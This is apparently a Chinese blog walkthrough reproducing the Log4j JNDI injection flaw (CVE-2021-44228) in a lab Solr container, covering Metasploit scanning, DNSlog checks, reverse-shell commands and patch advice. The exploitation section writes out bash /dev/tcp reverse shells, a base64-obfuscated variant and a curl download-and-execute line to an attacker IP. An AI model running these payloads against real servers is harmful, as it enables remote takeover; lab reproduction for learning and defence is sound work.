Bootstrap

log4j漏洞复现

1、apache log4j

是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞,导致攻击者可以控制日志内容的情况下,传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入,执行远程命令。

JNDI:

命名和目录接口,是java的一个目录服务应用程序接口,功能:提供一个目录系统,将服务名称和对象关联起来,使开发能使用名称来访问对象。

目录系统:通过名字可以访问服务

如:http ------web服务

jndi可以远程加载ldap、rmi服务端提供的一些恶意代码

ldap:轻量级目录访问协议(类似于http,可以通过ldap://xxx.com访问)

log4j:

fatal  严重/致命

error  错误

warn   警告

info   信息

debug  调试

trace  程序运行轨迹

all    所有日志级别

定制     自定义的级别

2、漏洞发现或检测

(1)启动靶场

docker-compose up -d

浏览器访问http://192.169.59.10:8983

如物理机无法访问

[root@localhost CVE-2021-44228]# docker-compose down

[root@localhost CVE-2021-44228]# systemctl stop docker

[root@localhost CVE-2021-44228]# ifconfig docker0 down

[root@localhost CVE-2021-44228]# brctl delbr docker0

[root@localhost CVE-2021-44228]# systemctl start docker

[root@localhost CVE-2021-44228]# docker-compose up -d

(2)msf检测

msfdb run

msf6 > use auxiliary/scanner/http/log4shell_scanner

msf6 auxiliary(scanner/http/log4shell_scanner) > show options

msf6 auxiliary(scanner/http/log4shell_scanner) > set rhosts 192.168.59.10

rhosts => 192.168.59.10

msf6 auxiliary(scanner/http/log4shell_scanner) > set rport 8983

rport => 8983

msf6 auxiliary(scanner/http/log4shell_scanner) > set srvhost 192.168.59.6

srvhost => 192.168.59.6

msf6 auxiliary(scanner/http/log4shell_scanner) > run

3、漏洞利用

dnslog外带数据证明是否存在漏洞

比如注册一个域名xiaoxiang.com ,我把它得A记录解析到192.168.1.1, 当dns服务器发起 www.xiaoxiang.com请求时,dnslog中会记录下来这个域名,并给www.xiaoxiang.com做一下解析,解析得ip是192.168.1.1

我们把想获取得数据或信息和dnslog平台得域名拼接起来,dnslog平台就会把目标服务器的请求记录显示出来

Log4j漏洞路径:/solr/admin/cores?action=

4、利用log4j漏洞获取服务器权限

方法一:利用中转机反弹shell

方法二:bash反弹

kali启用ldap服务

在目标机执行反弹shell的命令

反弹shell:让目标机主动外联攻击机

正向shell:ssh登录

命令:bash -i > /dev/tcp/192.168.59.6/5555 2>&1 0>&1

bash -i 创建一个交互式的shell

/dev/tcp/192.168.59.6/5555  去连接59.6的5555端口

/dev/tcp   打开这个文件相当于发起了一个socket连接,读写这个文件就相当于在socket传输数据

0   标准输入   I

1   标准输出   O

2   标准错误

精简版:bash -i >& /dev/tcp/192.168.59.6/5555 0>&1

>& 将标准输出和错误重定向到59.6/5555

base64编码  YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjYvNTU1NSAwPiYx

c

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjYvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}"     空格用逗号代替

curl -so /tmp/jiali http://192.168.59.6/jiali;chmod +x /tmp/jiali;/tmp/jiali;rm -f /tmp/jiali

5、修复建议

根除方案

(1)升级到2.15.0版本及以上

不要用2.15.0-rc1和2.15.0-rc2

(2)加装防护设备

(3)配置策略阻断log4j利用链

临时处置措施

(1)升级java版本

(2)修改log4j配置

jvm参数设置成true

(3)禁止log4j所在的服务器外连

悦读

道可道,非常道;名可名,非常名。 无名,天地之始,有名,万物之母。 故常无欲,以观其妙,常有欲,以观其徼。 此两者,同出而异名,同谓之玄,玄之又玄,众妙之门。

;